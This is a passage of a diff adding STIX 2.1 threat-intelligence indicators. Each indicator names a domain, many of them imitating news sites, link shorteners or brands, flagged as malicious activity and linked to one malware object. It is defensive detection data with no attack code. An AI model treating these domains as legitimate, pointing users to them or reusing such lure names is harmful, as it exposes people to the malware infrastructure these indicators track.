"2023-07-28T12:14:36.270459Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='edolio5.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.270459Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5126fde4-6539-4637-bbd2-5afbe95a246d", + "created": "2023-07-28T12:14:36.27074Z", + "modified": "2023-07-28T12:14:36.27074Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ab67551-970f-4bd1-825f-9ce473ba62e8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5cbc53a6-ed1b-453b-8786-14292f02663b", + "created": "2023-07-28T12:14:36.270817Z", + "modified": "2023-07-28T12:14:36.270817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='businesnews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.270817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f712ba31-897e-44c9-9b1f-855ee653eee8", + "created": "2023-07-28T12:14:36.271039Z", + "modified": "2023-07-28T12:14:36.271039Z", + "relationship_type": "indicates", + "source_ref": "indicator--5cbc53a6-ed1b-453b-8786-14292f02663b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8bff1c5-6197-4ee4-82cf-da4fa9edd6a7", + "created": "2023-07-28T12:14:36.271117Z", + "modified": "2023-07-28T12:14:36.271117Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sportsnewz.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.271117Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--934612aa-6ddc-41d1-8466-328dce932cf2", + "created": "2023-07-28T12:14:36.271337Z", + "modified": "2023-07-28T12:14:36.271337Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8bff1c5-6197-4ee4-82cf-da4fa9edd6a7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e5caf51-ddda-4cf3-ae06-bf36d17f86ed", + "created": "2023-07-28T12:14:36.271411Z", + "modified": "2023-07-28T12:14:36.271411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='actumali.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.271411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f3ca3a8-8ae5-4b06-9024-f7152c8752b8", + "created": "2023-07-28T12:14:36.271642Z", + "modified": "2023-07-28T12:14:36.271642Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e5caf51-ddda-4cf3-ae06-bf36d17f86ed", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5de697dc-98fb-4cc4-ade7-b0d6ff5c56b5", + "created": "2023-07-28T12:14:36.271716Z", + "modified": "2023-07-28T12:14:36.271716Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ube.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.271716Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f23619ff-975d-4ed6-8f1f-3f21608e316c", + "created": "2023-07-28T12:14:36.271944Z", + "modified": "2023-07-28T12:14:36.271944Z", + "relationship_type": "indicates", + "source_ref": "indicator--5de697dc-98fb-4cc4-ade7-b0d6ff5c56b5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ecda302-a86b-4433-840f-d48be7694dbe", + "created": "2023-07-28T12:14:36.272021Z", + "modified": "2023-07-28T12:14:36.272021Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='z2adigital.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.272021Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eebbcb7c-042d-4e2e-8dca-d54d4d85fd6f", + "created": "2023-07-28T12:14:36.272242Z", + "modified": "2023-07-28T12:14:36.272242Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ecda302-a86b-4433-840f-d48be7694dbe", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bd897cb-96c4-4fee-8e6d-9429d17be3e9", + "created": "2023-07-28T12:14:36.272313Z", + "modified": "2023-07-28T12:14:36.272313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinylinks.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.272313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9dc6c3e6-45fb-4edd-92a5-d7710a2b5e69", + "created": "2023-07-28T12:14:36.272532Z", + "modified": "2023-07-28T12:14:36.272532Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bd897cb-96c4-4fee-8e6d-9429d17be3e9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4264cd29-0a85-4a1d-b674-8257e3869144", + "created": "2023-07-28T12:14:36.272603Z", + "modified": "2023-07-28T12:14:36.272603Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tiol.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.272603Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ea3ffd1-0c9c-455d-9f4b-8dcfa6fe31a3", + "created": "2023-07-28T12:14:36.272817Z", + "modified": "2023-07-28T12:14:36.272817Z", + "relationship_type": "indicates", + "source_ref": "indicator--4264cd29-0a85-4a1d-b674-8257e3869144", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--992b52cd-4fbf-47fc-a2bc-fd3ea45aeae0", + "created": "2023-07-28T12:14:36.272889Z", + "modified": "2023-07-28T12:14:36.272889Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nabd.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.272889Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b393afa-7a0b-41a1-abbf-1f01fadf716d", + "created": "2023-07-28T12:14:36.273108Z", + "modified": "2023-07-28T12:14:36.273108Z", + "relationship_type": "indicates", + "source_ref": "indicator--992b52cd-4fbf-47fc-a2bc-fd3ea45aeae0", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7b962fd1-3427-44e2-b3b0-01f68eb760d9", + "created": "2023-07-28T12:14:36.273179Z", + "modified": "2023-07-28T12:14:36.273179Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lexpress-mg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.273179Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--446411b5-18d8-4ff9-a00c-b03a02ed0911", + "created": "2023-07-28T12:14:36.27341Z", + "modified": "2023-07-28T12:14:36.27341Z", + "relationship_type": "indicates", + "source_ref": "indicator--7b962fd1-3427-44e2-b3b0-01f68eb760d9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbcdbf9b-587b-496b-982e-5b40f2c4a95b", + "created": "2023-07-28T12:14:36.273488Z", + "modified": "2023-07-28T12:14:36.273488Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nabde.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.273488Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8fd5f029-773e-4297-99cd-f13603f80257", + "created": "2023-07-28T12:14:36.273773Z", + "modified": "2023-07-28T12:14:36.273773Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbcdbf9b-587b-496b-982e-5b40f2c4a95b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ee07470-f675-48ef-bd34-4e592d5c2bdd", + "created": "2023-07-28T12:14:36.273845Z", + "modified": "2023-07-28T12:14:36.273845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortxyz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.273845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c055f62d-b5de-425b-a5f4-9fd445e7c325", + "created": "2023-07-28T12:14:36.274064Z", + "modified": "2023-07-28T12:14:36.274064Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ee07470-f675-48ef-bd34-4e592d5c2bdd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--efb71e07-4bd1-48be-827b-cc1f7e7e9c4d", + "created": "2023-07-28T12:14:36.274135Z", + "modified": "2023-07-28T12:14:36.274135Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jquery-updater.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.274135Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f8150dd-1c5d-4e0d-b243-ec5ad8bd21e1", + "created": "2023-07-28T12:14:36.274385Z", + "modified": "2023-07-28T12:14:36.274385Z", + "relationship_type": "indicates", + "source_ref": "indicator--efb71e07-4bd1-48be-827b-cc1f7e7e9c4d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7dd3b693-0207-4505-91ee-319684253a8b", + "created": "2023-07-28T12:14:36.274457Z", + "modified": "2023-07-28T12:14:36.274457Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elpais.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.274457Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a378b0c-56f3-4283-87d4-6da9d101631e", + "created": "2023-07-28T12:14:36.274674Z", + "modified": "2023-07-28T12:14:36.274674Z", + "relationship_type": "indicates", + "source_ref": "indicator--7dd3b693-0207-4505-91ee-319684253a8b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fe4cb54-30f2-43d0-93ee-314420772a2d", + "created": "2023-07-28T12:14:36.274746Z", + "modified": "2023-07-28T12:14:36.274746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timestampsync.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.274746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf7c1003-41ed-4c0e-8d43-e1fb82ec0194", + "created": "2023-07-28T12:14:36.274968Z", + "modified": "2023-07-28T12:14:36.274968Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fe4cb54-30f2-43d0-93ee-314420772a2d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb0a9843-2066-4b5d-a261-4b93bdff10f5", + "created": "2023-07-28T12:14:36.275039Z", + "modified": "2023-07-28T12:14:36.275039Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updates4you.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.275039Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6072849-0cd6-4da7-ae51-b4c7f6c44371", + "created": "2023-07-28T12:14:36.275263Z", + "modified": "2023-07-28T12:14:36.275263Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb0a9843-2066-4b5d-a261-4b93bdff10f5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da0369cc-4698-44de-9649-c089368078b5", + "created": "2023-07-28T12:14:36.275336Z", + "modified": "2023-07-28T12:14:36.275336Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mycoffeeshop.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.275336Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2b8049c-1672-4ea7-82a7-1e19d370c4a9", + "created": "2023-07-28T12:14:36.27556Z", + "modified": "2023-07-28T12:14:36.27556Z", + "relationship_type": "indicates", + "source_ref": "indicator--da0369cc-4698-44de-9649-c089368078b5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--843ab6c5-59c2-443f-a357-d250c69fc92a", + "created": "2023-07-28T12:14:36.275635Z", + "modified": "2023-07-28T12:14:36.275635Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ps1link.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.275635Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1efc0240-0cdb-4aab-91a0-02e8478e0ad8", + "created": "2023-07-28T12:14:36.275856Z", + "modified": "2023-07-28T12:14:36.275856Z", + "relationship_type": "indicates", + "source_ref": "indicator--843ab6c5-59c2-443f-a357-d250c69fc92a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3a2759fb-529a-4d43-9a84-24da7e95561d", + "created": "2023-07-28T12:14:36.275927Z", + "modified": "2023-07-28T12:14:36.275927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instagam.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.275927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b25fe23-8334-4535-bb05-fd0b1a259302", + "created": "2023-07-28T12:14:36.27615Z", + "modified": "2023-07-28T12:14:36.27615Z", + "relationship_type": "indicates", + "source_ref": "indicator--3a2759fb-529a-4d43-9a84-24da7e95561d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c6d0d20-0542-48a7-a635-77bdbf3cf4bf", + "created": "2023-07-28T12:14:36.27622Z", + "modified": "2023-07-28T12:14:36.27622Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leanwithme.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.27622Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44e58cc6-8be2-4fb5-af94-3960624ce673", + "created": "2023-07-28T12:14:36.276501Z", + "modified": "2023-07-28T12:14:36.276501Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c6d0d20-0542-48a7-a635-77bdbf3cf4bf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d23729d-3479-4de7-8c12-bbec47426a0c", + "created": "2023-07-28T12:14:36.276574Z", + "modified": "2023-07-28T12:14:36.276574Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newzeto.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.276574Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ad6a9ff-fe7e-406b-ae7b-7bb702cf98f6", + "created": "2023-07-28T12:14:36.276794Z", + "modified": "2023-07-28T12:14:36.276794Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d23729d-3479-4de7-8c12-bbec47426a0c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a2cd7dc-dcaa-4062-9be8-9ebd027c342a", + "created": "2023-07-28T12:14:36.276868Z", + "modified": "2023-07-28T12:14:36.276868Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='heaven.army']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.276868Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9145f302-2f49-4c05-b71a-75100a05033c", + "created": "2023-07-28T12:14:36.277099Z", + "modified": "2023-07-28T12:14:36.277099Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a2cd7dc-dcaa-4062-9be8-9ebd027c342a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af93a686-f19f-4fa4-bddc-f587b9e2ef94", + "created": "2023-07-28T12:14:36.277175Z", + "modified": "2023-07-28T12:14:36.277175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redirecting.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.277175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e854657a-88df-407e-992a-413f900cb0e2", + "created": "2023-07-28T12:14:36.277401Z", + "modified": "2023-07-28T12:14:36.277401Z", + "relationship_type": "indicates", + "source_ref": "indicator--af93a686-f19f-4fa4-bddc-f587b9e2ef94", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53c8054e-e0e5-4c1b-aca9-6c5d6a2438fb", + "created": "2023-07-28T12:14:36.277472Z", + "modified": "2023-07-28T12:14:36.277472Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='celebrnewz.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.277472Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45a6ef1d-8236-427e-b22c-9793988015dc", + "created": "2023-07-28T12:14:36.277696Z", + "modified": "2023-07-28T12:14:36.277696Z", + "relationship_type": "indicates", + "source_ref": "indicator--53c8054e-e0e5-4c1b-aca9-6c5d6a2438fb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3832952d-b7e5-411f-b45b-ca43d4a115e8", + "created": "2023-07-28T12:14:36.277767Z", + "modified": "2023-07-28T12:14:36.277767Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adultpcz.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.277767Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb4829e9-6f8b-4ea9-bec7-2db0fc1a290f", + "created": "2023-07-28T12:14:36.277988Z", + "modified": "2023-07-28T12:14:36.277988Z", + "relationship_type": "indicates", + "source_ref": "indicator--3832952d-b7e5-411f-b45b-ca43d4a115e8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--848c1df8-b994-41fa-8e90-46619bcfa9e7", + "created": "2023-07-28T12:14:36.278059Z", + "modified": "2023-07-28T12:14:36.278059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enikos.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.278059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73800606-0fc7-4b24-918c-63aaaeda66ac", + "created": "2023-07-28T12:14:36.278279Z", + "modified": "2023-07-28T12:14:36.278279Z", + "relationship_type": "indicates", + "source_ref": "indicator--848c1df8-b994-41fa-8e90-46619bcfa9e7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5ef6fcd-f4d4-4b58-830b-ebc1f641115b", + "created": "2023-07-28T12:14:36.27835Z", + "modified": "2023-07-28T12:14:36.27835Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='viva.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.27835Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e5f1630-d26b-442d-a007-3c5b24a10e20", + "created": "2023-07-28T12:14:36.278573Z", + "modified": "2023-07-28T12:14:36.278573Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5ef6fcd-f4d4-4b58-830b-ebc1f641115b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ca8a241-1952-4401-b12a-cf1a8e43e684", + "created": "2023-07-28T12:14:36.278647Z", + "modified": "2023-07-28T12:14:36.278647Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hempower.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.278647Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7393fceb-f666-4c09-8bb1-bf518f6d8acc", + "created": "2023-07-28T12:14:36.278871Z", + "modified": "2023-07-28T12:14:36.278871Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ca8a241-1952-4401-b12a-cf1a8e43e684", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6dfc665b-076d-4575-b308-6e3687737626", + "created": "2023-07-28T12:14:36.278942Z", + "modified": "2023-07-28T12:14:36.278942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wavekli.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.278942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--31a7aed8-a7da-478c-8f5c-8038cd48aa49", + "created": "2023-07-28T12:14:36.279161Z", + "modified": "2023-07-28T12:14:36.279161Z", + "relationship_type": "indicates", + "source_ref": "indicator--6dfc665b-076d-4575-b308-6e3687737626", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--960a11f8-16ba-46ef-b19c-040f0459daae", + "created": "2023-07-28T12:14:36.279237Z", + "modified": "2023-07-28T12:14:36.279237Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safelyredirecting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.279237Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d10eb6e5-513d-4365-8477-80fd424aa23b", + "created": "2023-07-28T12:14:36.279521Z", + "modified": "2023-07-28T12:14:36.279521Z", + "relationship_type": "indicates", + "source_ref": "indicator--960a11f8-16ba-46ef-b19c-040f0459daae", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--887c6428-4575-4b09-aacd-df637eaa4d83", + "created": "2023-07-28T12:14:36.279597Z", + "modified": "2023-07-28T12:14:36.279597Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinyurl.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.279597Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6fc664d0-04d7-4f17-9966-e614745bd6a4", + "created": "2023-07-28T12:14:36.279817Z", + "modified": "2023-07-28T12:14:36.279817Z", + "relationship_type": "indicates", + "source_ref": "indicator--887c6428-4575-4b09-aacd-df637eaa4d83", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ca629e7-8f70-4136-baac-7875c8481561", + "created": "2023-07-28T12:14:36.279888Z", + "modified": "2023-07-28T12:14:36.279888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='altsantiri.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.279888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67f48dba-92d9-401f-8d19-53edbf59ed66", + "created": "2023-07-28T12:14:36.280109Z", + "modified": "2023-07-28T12:14:36.280109Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ca629e7-8f70-4136-baac-7875c8481561", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84f2c64b-1d21-4b20-8204-cd6ed7b135b1", + "created": "2023-07-28T12:14:36.280179Z", + "modified": "2023-07-28T12:14:36.280179Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uservicesforyou.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.280179Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d2f7272-f081-48a8-9fc1-0a97f6a87834", + "created": "2023-07-28T12:14:36.280403Z", + "modified": "2023-07-28T12:14:36.280403Z", + "relationship_type": "indicates", + "source_ref": "indicator--84f2c64b-1d21-4b20-8204-cd6ed7b135b1", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--783ff0e4-7093-41cc-b292-9fd7e8e9bf85", + "created": "2023-07-28T12:14:36.280476Z", + "modified": "2023-07-28T12:14:36.280476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='advertsservices.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.280476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d164de2d-b0d6-4721-b117-d9081f3e60a9", + "created": "2023-07-28T12:14:36.280708Z", + "modified": "2023-07-28T12:14:36.280708Z", + "relationship_type": "indicates", + "source_ref": "indicator--783ff0e4-7093-41cc-b292-9fd7e8e9bf85", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--29a920d8-ee3a-46f5-907f-f94d0aadfdbf", + "created": "2023-07-28T12:14:36.280785Z", + "modified": "2023-07-28T12:14:36.280785Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ikea-egypt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.280785Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f534f1b-7efa-4066-a1d9-bbace50d1f98", + "created": "2023-07-28T12:14:36.281017Z", + "modified": "2023-07-28T12:14:36.281017Z", + "relationship_type": "indicates", + "source_ref": "indicator--29a920d8-ee3a-46f5-907f-f94d0aadfdbf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c7954d65-66a8-4ee6-984d-225c54499d7c", + "created": "2023-07-28T12:14:36.281091Z", + "modified": "2023-07-28T12:14:36.281091Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olxeg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.281091Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e6c6d58-92c7-41d6-8d09-fa7054974040", + "created": "2023-07-28T12:14:36.281323Z", + "modified": "2023-07-28T12:14:36.281323Z", + "relationship_type": "indicates", + "source_ref": "indicator--c7954d65-66a8-4ee6-984d-225c54499d7c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8b1b726-d2bc-4b13-85e3-54442b14c0b7", + "created": "2023-07-28T12:14:36.281397Z", + "modified": "2023-07-28T12:14:36.281397Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ferrari.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.281397Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2eb2eb4e-9be8-4be7-b8b5-1aa7c922c2a9", + "created": "2023-07-28T12:14:36.281624Z", + "modified": "2023-07-28T12:14:36.281624Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8b1b726-d2bc-4b13-85e3-54442b14c0b7", + "target_ref": 